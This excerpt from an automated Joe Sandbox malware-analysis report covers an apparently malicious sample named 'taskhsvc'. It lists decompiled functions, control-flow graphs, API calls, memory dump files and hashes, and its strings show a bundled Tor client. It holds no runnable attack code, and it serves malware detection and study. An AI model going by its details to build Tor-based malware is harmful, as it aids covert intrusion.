                                                                                                                          Function 00D5CC1C Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 597 d5cc1c-d5cc46 RAND_poll 598 d5cc6c-d5cc7a call d5c901 597->598 599 d5cc48-d5cc67 call d33842 597->599 602 d5cc7f-d5cc8e 598->602 599->598 603 d5cc90-d5cc9e RAND_seed 602->603 604 d5cca3-d5ccc2 call d5d543 602->604 603->604 607 d5ccc4-d5ccc8 604->607 608 d5ccca-d5ccd2 RAND_status 604->608 607->608 609 d5ccdb 607->609 608->609 610 d5ccd4-d5ccd9 608->610 611 d5cce0-d5cce9 609->611 610->611 612 d5ccf0-d5ccf1 611->612 613 d5cceb __stack_chk_fail 611->613 613->612
                                                                                                                          APIs
                                                                                                                          • RAND_poll.LIBEAY32 ref: 00D5CC3A
                                                                                                                          • RAND_seed.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D55F8E), ref: 00D5CC9E
                                                                                                                          • RAND_status.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D55F8E), ref: 00D5CCCA
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D55F8E), ref: 00D5CCEB
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$D_pollD_seedD_status
                                                                                                                          • String ID: $ $iD$4
                                                                                                                          • API String ID: 233213208-808620988
                                                                                                                          • Opcode ID: 812eaf574fd56a5729d592abf8f8ef819a6a66ce1a53cd848530e46fa6d489ae
                                                                                                                          • Instruction ID: e891c616ef318165f7a293d1a2c8bc40795e9bd52055d24aed368982cd99e5bb
                                                                                                                          • Opcode Fuzzy Hash: 812eaf574fd56a5729d592abf8f8ef819a6a66ce1a53cd848530e46fa6d489ae
                                                                                                                          • Instruction Fuzzy Hash: 1D210DB08153089FDF10EFA4D58979DBBF5BF44315F01A519E854A7281D3B49988CF62
                                                                                                                          Function 00C49D8C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 138stringCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 614 c49d8c-c49dbf 615 c49dc1-c49dc6 614->615 616 c49dc8 614->616 617 c49dcd-c49dd4 615->617 616->617 618 c49dd6-c49ddb 617->618 619 c49ddd 617->619 620 c49de2-c49de9 618->620 619->620 621 c49df4-c49dfa 620->621 622 c49deb-c49dee 620->622 623 c49eec-c49ef0 621->623 622->621 624 c49ef6-c49efd 623->624 625 c49dff-c49e15 strcmp 623->625 626 c49eff-c49f13 call c49aab call d4587b 624->626 627 c49f58-c49f64 624->627 628 c49ebc-c49ec0 625->628 629 c49e1b-c49e1f 625->629 645 c49f18-c49f1f 626->645 633 c49f66 __stack_chk_fail 627->633 634 c49f6b-c49f6c 627->634 635 c49ec2-c49ed8 strcmp 628->635 636 c49ee3-c49ee9 628->636 630 c49e21-c49e58 call d33842 629->630 631 c49e6c-c49e97 call d478f5 call d37d3d 629->631 630->631 644 c49e5a-c49e65 free 630->644 652 c49e99-c49ea4 free 631->652 653 c49eab-c49eba 631->653 633->634 635->636 640 c49eda-c49edd 635->640 636->623 640->636 644->631 647 c49f21-c49f25 645->647 648 c49f3d-c49f41 645->648 650 c49f27-c49f2b 647->650 651 c49f2d-c49f3b call d413ee 647->651 654 c49f50 648->654 655 c49f43-c49f4e call d413ee 648->655 650->648 650->651 651->627 652->653 653->636 656 c49f55 654->656 655->656 656->627
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failfreestrcmp
                                                                                                                          • String ID: --defaults-torrc$--ignore-missing-torrc
                                                                                                                          • API String ID: 1505556837-1565761774
                                                                                                                          • Opcode ID: 2f081ef100d672c6b9647f8cd547e5ea2f173da09b40694fa664df1c0e3fe679
                                                                                                                          • Instruction ID: d7e1520c2688dfded4ae46d50d324dee8e00aadba664084c0ce577c9c51ef273
                                                                                                                          • Opcode Fuzzy Hash: 2f081ef100d672c6b9647f8cd547e5ea2f173da09b40694fa664df1c0e3fe679
                                                                                                                          • Instruction Fuzzy Hash: 4B519BB4A04219CFDB10DFA9D5897AEBBF0FB08314F145829E855BB340D3789A84CF61
                                                                                                                          Function 00BE63F3 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 121COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 661 be63f3-be640b call cee121 664 be640d-be6412 661->664 665 be6417-be6429 661->665 666 be65d9-be65e2 664->666 667 be6468-be646e 665->667 668 be65e9-be65ee 666->668 669 be65e4 __stack_chk_fail 666->669 670 be642b-be6464 event_active 667->670 671 be6470-be64be time call d4545c call e0c2b0 event_base_loop 667->671 669->668 670->667 676 be65c8-be65cf call c37dba 671->676 677 be64c4-be64d7 call d3910d 671->677 680 be65d4 676->680 682 be64d9-be64e0 677->682 683 be6533-be653a 677->683 680->666 682->683 686 be64e2-be652e call d3919b call e0c319 call d33842 682->686 684 be653c-be654b 683->684 685 be658b-be659b 683->685 684->685 688 be654d-be6586 call d36562 call d3985e 684->688 689 be659d-be65bc call d33842 685->689 690 be65c1-be65c6 685->690 686->666 688->685 689->690 690->666
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00CEE121: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BE6409), ref: 00CEE1A2
                                                                                                                          • time.MSVCRT ref: 00BE648C
                                                                                                                          • event_base_loop.LIBEVENT-2-0-5 ref: 00BE64B2
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE65E4
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$event_base_looptime
                                                                                                                          • String ID: ../src/or/main.c$4'$c
                                                                                                                          • API String ID: 1104678557-3677365949
                                                                                                                          • Opcode ID: 01c709fb35c9636a20d54c88bbdacd4e5dabad3fd537a3858b1e96987b3bbe86
                                                                                                                          • Instruction ID: e9f46118b43bb7e25ab7c885b726ebac7d8b585eb3a3e5934fb0b3c51315ece2
                                                                                                                          • Opcode Fuzzy Hash: 01c709fb35c9636a20d54c88bbdacd4e5dabad3fd537a3858b1e96987b3bbe86
                                                                                                                          • Instruction Fuzzy Hash: D75125B0A08355CFDB00EFA6D88536EBBF0FB54354F008969E494AB391D778D984DB62
                                                                                                                          Function 00BE2FDB Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 119COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 700 be2fdb-be301e call d36562 call d39764 abort 705 be3025-be3057 call d33842 700->705 706 be3020 call c26e23 700->706 710 be305e-be3073 call c12121 705->710 711 be3059 call c26e53 705->711 706->705 715 be319d-be31c2 time call c147d0 710->715 716 be3079-be3083 710->716 711->710 722 be31c9-be31d3 715->722 723 be31c4 call be2d88 715->723 716->715 718 be3089-be30d7 call c08cde call d33842 716->718 729 be30d9-be3112 call d36562 call d3985e 718->729 730 be3117-be3123 718->730 726 be31da-be31df 722->726 727 be31d5 __stack_chk_fail 722->727 723->722 727->726 729->730 732 be3125-be3131 730->732 733 be3133-be314e call be16c0 730->733 732->733 735 be316f-be3198 call c0a631 call d36562 call c0a80c 732->735 741 be315c-be3169 733->741 742 be3150-be3153 733->742 735->715 741->735 742->741
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00BE3000
                                                                                                                          • time.MSVCRT ref: 00BE31A4
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE31D5
                                                                                                                            • Part of subcall function 00C26E23: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00BE3569), ref: 00C26E4C
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
